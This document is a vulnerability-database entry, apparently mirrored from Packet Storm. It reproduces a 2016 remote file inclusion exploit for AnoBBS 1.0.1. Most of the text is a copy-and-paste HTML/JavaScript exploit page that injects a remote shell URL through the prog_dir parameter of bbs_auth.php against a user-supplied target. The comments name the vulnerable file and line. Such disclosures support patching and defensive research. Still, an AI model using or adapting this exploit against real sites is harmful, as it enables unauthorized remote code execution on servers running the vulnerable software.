AnoBBS 1.0.1 Remote File Inclusion

🗓️ 16 Sep 2016 00:00:00Reported by bd0rkType

packetstorm🔗 packetstormsecurity.com👁 41 Views

AnoBBS 1.0.1 Remote File Inclusion Exploit by bd0rk on Ubuntu-Linu

`<!--  
# Title: AnoBBS 1.0.1 Remote File Inclusion Exploit  
# Author: bd0rk || Germany  
# Tested on: Ubuntu-Linux  
# Twitter: twitter.com/bd0rk  
# Greetz: Vadim, x0r_32, rgod, zone-h.org, Michael RaumklanG  
  
#Vendor-URL: http://www.iterapi.com/index.php?cat=78&art=788  
#Download-Link: http://www.hotscripts.com/listings/jump/download/90434  
  
#The $prog_dir-parameter in /anobbs_dev_1.0.1/progs/bbs_auth.php line 7 is vulnerable.  
  
>>>Exploitcode for Copy&Paste<<<  
-->  
  
<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">  
<title>AnoBBS 1.0.1 Remote File Inclusion Exploit</title>  
<script language="JavaScript">  
  
var dir="/progs/"  
var file="/bbs_auth.php?"  
var parameter ="prog_dir="  
var shell="Insert your shellcode here"  
  
function command() {  
if (document.rfi.target1.value==""){  
alert("Exploit failed...");  
return false;  
}  
  
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;  
rfi.submit();  
}  
</script>  
</head>  
  
<body bgcolor="#000000">  
<center>  
  
<p><b><font face="Verdana" size="2" color="#008000">AnoBBS 1.0.1 Remote File Inclusion Exploit</font></b></p>  
  
<p></p>  
<form method="post" target="getting" name="rfi" onSubmit="command();">  
<b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">  
</font><font color="#FF0000" size="2">&nbps;</font></b>  
<input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>  
<p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>  
</form>  
<p><br>  
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>  
</p>  
  
<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>  
</center>  
</body>  
  
</html>  
  
`

16 Sep 2016 00:00Current

7.4High risk

Vulners AI Score7.4